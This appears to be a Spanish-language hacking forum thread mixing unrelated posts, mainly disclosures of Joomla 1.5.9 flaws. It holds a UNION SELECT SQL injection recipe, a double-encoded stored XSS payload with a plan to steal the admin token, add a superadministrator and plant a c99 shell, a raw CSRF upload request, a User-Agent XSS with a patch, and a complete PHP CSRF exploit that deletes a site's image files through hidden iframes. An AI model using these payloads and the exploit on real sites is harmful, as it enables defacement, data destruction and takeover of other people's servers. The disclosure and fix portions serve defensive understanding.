Mensajes

Si existe :p haces un system() con un echo > /tmp/archivo y luego lo cargas y eliminas con unlink, si es windows lo mandas a %tmp% y si es linux lo mandas a /tmp

http://gtk.php.net/

PHP-GTK is an extension for the PHP programming language that implements language bindings for GTK+. It provides an object-oriented interface to GTK+ classes and functions and greatly simplifies writing client-side cross-platform GUI applications.

Por lo que mensionan el plugin GTK para php sirve para crear cosas gráficas, de ahi viene el GUI GTK de php pero nunca lo he usado.



Se ve muy similar al lenguaje XUL en cuanto a la creación del modo gráfico. Lo malo esque aplicaciones hechas con GTK necesita tener un servidor apache mas el modulo gtk instalado y tendrias que convencer al que usará tu aplicacion de hacerlo :p aunque estaría bastante efectivo ya que php es para mi muy flexible y fácil de usar, es como pasarle un programa hecho en .net a alguien que usa windows 2000, tendrá que darse el bajón de bajar e instalar .net

http://www.xgarreau.org/aide/devel/phpgtk/

Lo que sucede es que de esa forma no te devolverá el resultado, me explico:

Supongamos que la tabla contiene 5 columnas de las cuales la query hace un select * para obtener esos 5 datos, con eso podemos poner en pantalla datos como nombre, apellido, edad, telefono y mail.. luego esos datos se muestran en la web pero cuando haces una inyección y quieres ver los resultados no te vale de nada hacer otro select porque lo que debuelva no va a concordar con los datos que necesita el script en php o asp.
Lo que debes hacer en ese caso es un "union select", por ejemplo index,php?id=1 ya sabemos que retorna 5 datos y le ponemos index.php?id=-1 union select 1,2,3,4,5 y te debolverán esos 5 valores en la web y ya con eso puedes imprimir mas datos como from otra tabla etc etc..

Date una buelta por acá:
http://foro.elhacker.net/nivel_web/los_temas_mas_destacados_sobre_fallas_y_explotaciones_a_nivel_web-t244090.0.html
y verás varios contenidos muy buenos sobre inyecciones sql.

http://img17.imageshack.us/img17/2087/cmr2000zk1.jpg
http://img17.imageshack.us/img17/1612/cmr20001ji2.jpg
http://img12.imageshack.us/img12/7310/falabella1rn9.jpg

Esas son de donde yo trabajo  dicen que a veces se ve el error del internet explorer tambien

A mi me gusta mucho mas el kolourpaint 

[Warning]

Encontré varios file disclosure en caso de que puedas tener acceso a la administración y necesites saber la ruta exacta del script.
Subes un archivo zip vacio al instalador de paquetes y te debuelve algo como esto:

Warning: zip_read() expects parameter 1 to be resource, integer given in /var/www/public_html/portada/libraries/joomla/filesystem/archive/zip.php on line 234

PD: Me acaban de borrar el tema en el foro de joomla y les mandé un tracker pero no lo publicaron, será que no quieren que la gente sepa de la falla de seguridad hasta que salga el parche oficial? y hace tres dias que lo mandé a milw0rm y tampoco me han hecho caso jaja bueno, que cosas. Si sienten que estoy peinando la muñeca me avisan XD

[XSS Permanente en el componetne "Search"]

XSS Permanente en el componetne "Search"

Un amigo por el mensajero me comentaba sobre algunas personas que se dedican a la programación que dicen "como es inexplotable no se parcha" y es entendible, si ves un bug que para ti es inexplotable lo mas probable es que no lo repares porque supuestamente no tiene ningún riesgo hasta que aparece la gente que si lo logra entonces recién lo reparan. En este caso creo que es similar ya que en el componente search dentro del panel de administración se puede ver el historial de busqueda y me llevé la sorpresa de que este no filtra ningún carácter y me pregunté.. "¿Porque??" entonces mejor comenzé a instalar joomla en mi localhost para ya no seguir desmadrando mi sitio  y pude comprobar que el componente Search de la portada o sea el que ve el visitante ya tiene un filtro el cual elimina todos los caácteres después del "<" por lo tanto pensando como el codeador "esto es inexplotable así que no nos preocupamos por mostrar el historial de busquedas en la administración poniendo ningún filtro", pero que pasa si logro evadir ese filtro? puedo comprometer al administrador? la respuesta es si y eso fue lo que sucedió.

%3c%53%43%72%49%70%54%20%78%3d%78%3e%61%6c%65%72%74%28%30%30%30%30%30%29%3c%2f%73%43%72%49%70%54%3e

Esto equivale a

<SCrIpT x=x>alert(00000)</sCrIpT>

Lo ponemos dentro de la caja del buscador y nos enviará directamente al formulario del buscador avanzado con esta busqueda sin ser filtrada, ahora cuando el joomla tiene petysurl activado lo hace via petición GET y no POST así que hay que doble encodear cada carácter, por ejemplo:

http://127.0.0.1/joomla/index.php?searchword=%253c%2553%2543%2572%2549%2570%2554%2520%2578%253d%2578%253e%2561%256c%2565%2572%2574%2528%2530%2530%2530%2530%2530%2529%253c%252f%2573%2543%2572%2549%2570%2554%253e&ordering=newest&searchphrase=all&option=com_search

Con esto ya el administrador podrá ver en su hermoso historial su XSS:

http://127.0.0.1/joomla/administrator/index.php?option=com_search

Tamaño original: http://img443.imageshack.us/img443/9854/dibujo2zq7.png

Mientras tanto que aparece el parche o actualización de joomla puedes desactivar el historial del buscador.

Ya con todo esto como que estamos listos para crear nuestro exploit con token y todo, hacemos un php que lanze una petición POST al buscador y seguidamente lanzamos la redirección hacia el componente afectado para causar la ejecución arbitraria, luego el xss llamará a un archivo de javascript alojado en otro servidor que realizará las acciones y estas serán obtener el token de seguridad y agregar un nuevo superadministrador para nosotros, seguido por la creación de un componente con una shell c99 incrustada para ganar el acceso total al servidor y si es posible rootearlo dependiendo de la versión del mismo y el estado de seguridad que pueda tener.

Voy a ir preparando los archivos para explicar paso por paso como hacerlo. Hasta la prox.

[CSRF en el Componente "Installer"]

CSRF en el Componente "Installer"

Bueno ya encontré otra falla  pero como todas las demás es poco probable su explotación inmediata pero posiblemente futura.
Esta ves es un CSRF en el componente "Installer" donde el paquete ya sea plugin o módulo se sube e instala sin ningún tipo de Token de seguridad por lo cual si logras encontrar un CSRF en un <imput type="file"> podrás causar la instalación arbitraria de componentes, plantillas, módulos etc, incluso hasta podrías subir tu propia shell.

http://www.ejemplo.com/portada/administrator/index.php

POST /portada/administrator/index.php HTTP/1.1
Host: www.ejemplo.com
User-Agent: Mozilla/5.0 (es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.ejemplo.com/portada/administrator/index.php?option=com_installer
Cookie: Oculta
Authorization: Oculta
Content-Type: multipart/form-data; boundary=---------------------------169443243924626
Content-Length: 1022
-----------------------------169443243924626
Content-Disposition: form-data; name="install_package"; filename="test.zip"
Content-Type: application/zip


HTTP/1.x 200 OK
Date: Sun, 15 Feb 2009 04:37:57 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
X-Powered-By: PHP/5.2.8
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Encoding: gzip
X-Content-Encoded-By: Joomla! 1.5
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Sun, 15 Feb 2009 04:38:10 GMT
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
----------------------------------------------------------

Y donde está el token nuevamente????

Talves la gente que vea estos post dirán que ando mal del mate (mal de la cabeza) porque este tipo de fallas hoy en dia no son explotables o por lo menos no por alguna técnica pública pero algún dia aparecerán y el dia en que esto suceda joomla será unos de los primeros candidatos para la explotación de estas múltiples fallas.

[Vulnerabilidad de tipo XSS en Joomla! 1.5.9]

Vulnerabilidad de tipo XSS en Joomla! 1.5.9

Bueno, además del CSRF que habia encontrado anteriormente me topé con este nuevo bug buscando en las opciones de Administración. El componente afectado es el com_admin en la sección sysinfo como en el siguiente ejemplo:

http://www.ejemplo.com/portada/administrator/index.php?option=com_admin&task=sysinfo

El XSS se produce cuando se procesa el User-Agent del explorador declarado en las cabezeras:



Imagen en tamaño completo: http://img144.imageshack.us/img144/1456/dibujokw5.png

Ahora si esto lo pasamos al javascript podremos tomar el valor del token y enviar peticiones POST via ajax para crear superadministradores o hacer cambios en cualquier configuración, con esto solo bastaría subir un mod con una shell y sería todo para el administrador.

La desventaja para el atacante es que la explotación de un XSS via User-Agent solo era posible debido a fallas encontradas en flash tal como lo muestran en los siguientes enlaces:
http://sla.ckers.org/forum/read.php?2,14534
http://ha.ckers.org/blog/20070712/user-agent-spoofable-using-certain-programming-languages/
http://kuza55.blogspot.com/2007/07/exploiting-reflected-xss.html

Pero hoy en dia no conozco ninguna forma de realizar dicha explotación, pero con el tiempo hemos aprendido de que nada es imposibles y cada dia aparecen nuevas formas de hacer las cosas, hasta entonces este bug queda en manos de los chicos 0days  una vez realizado esto las posibilidades de explotar la falla son muchisimas y podrías hasta comprometer el servidor por completo pero como decía, esto está dificil de explotar.

De todas formas no deja de ser un bug y espero que Joomla pueda repararlo ya que en un futuro nadie sabe si se encontrará la forma de modificar dichas cabezeras y sería todo para los administradores de este sistema.

La falla está en el archivo administrator/com_admin/tmpl/sysinfo_system.php Linea 93

Código (php) [Seleccionar] Expandir

<?php echo phpversion() <= "4.2.1" ? getenv( "HTTP_USER_AGENT" ) : $_SERVER['HTTP_USER_AGENT'];?>
Modificar por:

Código (php) [Seleccionar] Expandir

<?php echo phpversion() <= "4.2.1" ? htmlspecialchars(getenv( "HTTP_USER_AGENT" ), ENT_QUOTES) : htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES);?>

De todas formas veo que casi ningún dato va con escape de carácteres HTML, que pasaría si algún otro valor contiene carácteres especiales tambien? yo me aseguraría y modificaría cada salida de datos por htmlspecialchars($buffer, ENT_QUOTES).

Fuente:
http://forum.joomla.org/viewtopic.php?f=300&t=371705&start=0

PD: conviné los post que habia hecho sobre joomla y los hize uno solo para que estubiera todo mas organizado y no hacer un tema cada ves que se encuentre alguna falla de esta version de joomla.

Pero este no sería subforo de bugs y exploits sin el exploit XD

Código (php) [Seleccionar] Expandir

<?php
// Joomla 1.5.9 Eliminacion arbitraria del directorio de imagenes por WHK
// http://foro.elhacker.net/nivel_web/bug_en_joomla_159_eliminacion_del_directorio_de_imagenes_por_completo-t244742.0.html
$WEB_VULNERABLE = 'http://www.ejemplo.com/';
if(!$archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
 echo '<iframe src="'.$WEB_VULNERABLE.'administrator/index.php?option=com_media&task=file.delete&tmpl=component&folder=&rm[]=index.html" width="1" height="1" frameborder="0"></iframe>'; 
 ob_get_contents(); // Desplegamos el iframe y causamos una interrupcion...
 sleep(5); // Damos unos 5 segundos para que se elimine el index.html que protege al directorio
}
// Continuamos con el plan...
if($archivos = obtener_archivos($WEB_VULNERABLE.'images/')){
/* Creamos los iframes que forzaran la eliminacion de todos los archivos de una sola vez */
 foreach($archivos as $valor){
 // Reconociendo si es archivo o directorio
 if(eregi('/', $valor[(count($valor)-1)])){ $tipo = 'folder'; }else{ $tipo = 'file'; }
 echo '<iframe src="'.
 $WEB_VULNERABLE.'administrator/index.php?option=com_media&task='.$tipo
 .'.delete&tmpl=component&folder=&rm[]='.urlencode($valor)
 .'" width="1" height="1" frameborder="0"></iframe>'; 
 }
}
function obtener_archivos($url){
 $buffer = explode(']"> <a href="', file_get_contents($url));
 foreach($buffer as $item=> $valor){
  if($item != '0'){ // Procesa solamente links
   $temporal = explode('"', $valor);
   $retorno[count($retorno)] = $temporal[0];
  }
 }
 return $retorno;
}
?>

Metes este php dentro de un iframe por ahi en una web y le dices al administrador que la visualize :p pero está mas que claro que estoy demostrando el esenario de un atacante para que puedan comprender como protegerse, por ejemplo no aceptando todo tipo de links que vean, navegar sin scripts o con no-script para blokear esos dichosos iframes, nunca ver otros sitios webs con el usuario de administracion logueado, etc etc.

PD: alakentu bienvenido al foro.